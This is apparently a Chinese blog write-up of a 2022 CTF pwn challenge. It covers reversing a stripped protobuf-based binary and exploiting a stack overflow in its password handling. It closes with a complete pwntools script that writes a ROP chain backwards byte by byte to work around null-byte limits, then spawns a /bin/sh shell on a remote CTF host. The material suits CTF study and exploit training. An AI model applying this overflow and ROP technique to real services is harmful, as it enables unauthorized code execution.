【祥云杯2022】PWN-WriteUp-protocol
11月 1, 2022
前言
第一次见到google protobuf类型的题目,虽然是到签到题,但还是学到了一些新的东西
逆向分析
首先导入文件,当我看到左侧密密麻麻的无名函数就感受到了一丝不对劲
先运行一下程序,发现输出了一个Login:
通过这个字符串定位到主函数位置
基本可以确定是去掉符号表了,这样直接逆向显然不太行。先看看程序编译的环境是什么,然后重新导入一个sig
成功确定版本Ubuntu 9.4.0-1ubuntu1~20.04.1
,这个版本的libc应该是2.31,找一个对应的sig文件导入即可
这里推荐一个sig-database:IDA FLIRT Signature Database
基本能找到绝大多数系统对应的sig
通过刚刚的stirngs
基本可以确定是这个了,下下来然后放入,IDA/sig/pc
目录
在IDA中导入,效果展示:
虽然还是有点难逆,但是好很多了,进入sub_625110
函数
基本确定是个起到strcpy
作用的函数,将我们输入的全局变量拷贝到栈上,但是不考虑目标地的大小,同样是有栈溢出。但是其中有几个限制
- 字符串中不能含有\x00(意味着不能直接使用ROP)
- 拷贝进入栈内时会在末尾添置一个\x00
保护也基本没开,大概可以直接利用。
Google protobuf
在字符串内看到google protobuf
,应该是这个相关题目
比赛的时候看这篇博客临时学习了一下:2021第五空间 pb WP
配置环境
首先找到最新版本的protobuf:https://github.com/protocolbuffers/protobuf/releases
我这里下载的是:protobuf-cpp-3.21.9.tar.gz
下载并安装protobuf,注意需要root权限,且必须在root账户下操作,sudo+指令不太行
1 2 3 4 5 6
| tar -xzvf protobuf-cpp-3.21.9.tar.gz cd protobuf-3.21.9 ./autogen.sh ./configure --prefix=/usr/local/protobuf make -j8 && make install ldconfig
|
安装完成之后,需要配置protobuf命令,更新环境变量
1 2 3 4 5
| # 在/etc/profile文件中添加下面两行 export PATH=$PATH:/usr/local/protobuf/bin/ export PKG_CONFIG_PATH=/usr/local/protobuf/lib/pkgconfig/ # 然后执行 source /etc/profile
|
配置动态链接库
1 2 3 4 5
| # 在文件/etc/ld.so.conf中添加下面一行 /usr/local/protobuf/lib #(注意: 在新行处添加) # 更改完成之后执行下面的命令 ldconfig
|
配置好相关环境后,按照如下操作,分解出了ctf_pb2.py
和ctf.proto
文件
使用自动化工具分析提取.py文件:https://github.com/marin-m/pbtk
1 2 3 4 5 6
| pip3 install protobuf ./extractors/from_binary.py [-h] input_file [output_dir] # 得到ctf.ptoto
pip3 install google pip3 install protobuf protoc -I=./ --python_out=./ ctf.proto # 得到ctf_pb2.py
|
如果显示没有proto指令,可以安装protobuf-compiler后再次尝试
1
| sudo apt-get install protobuf-compiler
|
.proto文件里存放了message的结构信息
然后将py文件作为库导入,即可利用它的接口完成消息传递,我传递message的函数如下定义
1 2 3 4 5 6 7
| def new_pwn(payload): global io io.recvuntil('Login: ') person = pwn() person.username = b'admin' person.password = payload io.send(person.SerializeToString())
|
漏洞利用
综合上述分析,我们在送入password时存在溢出漏洞,但是ROP中的含有的\x00难以直接送入。但是我们可以利用while循环多次送入不同长度的字符串,使得字符串结尾添加的\x00被我们利用。同时需要注意的是,这种情况下,我们需要倒着一点一点写好ROP,**/bin/sh**的字符串我们可以在最后写入全局变量,只要记住对应地址即可,同时结束while循环调用ROP链。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86
| from ctf_pb2 import * from pwn import *
context(os='linux', arch='amd64',log_level='debug')
def new_pwn(payload): global io io.recvuntil('Login: ') person = pwn() person.username = b'admin' person.password = payload io.send(person.SerializeToString()) def clear(num): for i in range(1,8): payload = b'a'*0x248 + b'b'*num + b'c'*(8-i) new_pwn(payload)
def exp(mode,ip = '0.0.0.0',port = 0): global io if mode == 0: io = process('./protocol') else: io = remote(ip,port) payload = b'a'*0x248 +b'b'*0x40 + b'\x99\x3c\x40' new_pwn(payload) clear(0x38) payload = b'a'*0x248 + b'b'*0x38 + b'\x6f\xa3\x81' new_pwn(payload) clear(0x30) payload = b'a'*0x248 + b'b'*0x30 + b'\x82\x49\x40' new_pwn(payload) clear(0x28) payload = b'a'*0x248 + b'b'*0x28 new_pwn(payload) clear(0x20) payload = b'a'*0x248 + b'b'*0x20 + b'\xbe\x8b\x58' new_pwn(payload) clear(0x18) payload = b'a'*0x248 + b'b'*0x18 + b'\x3b' new_pwn(payload) clear(0x10) payload = b'a'*0x248 + b'b'*0x10 + b'\x8a\xdb\x5b' new_pwn(payload) clear(0x8) payload = b'a'*0x248 + b'b'*0x08 new_pwn(payload) clear(0x0) payload = b'a'*0x248 + b'b'*0x00 + b'\x4f\x45\x40' new_pwn(payload) pause() io.recvuntil('Login:') person = pwn() person.username = b'admin' person.password = b'admin' payload = person.SerializeToString() + b'\x00' + b'/bin/sh\x00' io.send(payload) io.interactive()
if __name__ == '__main__': exp(1,'210.30.97.133',28091)
|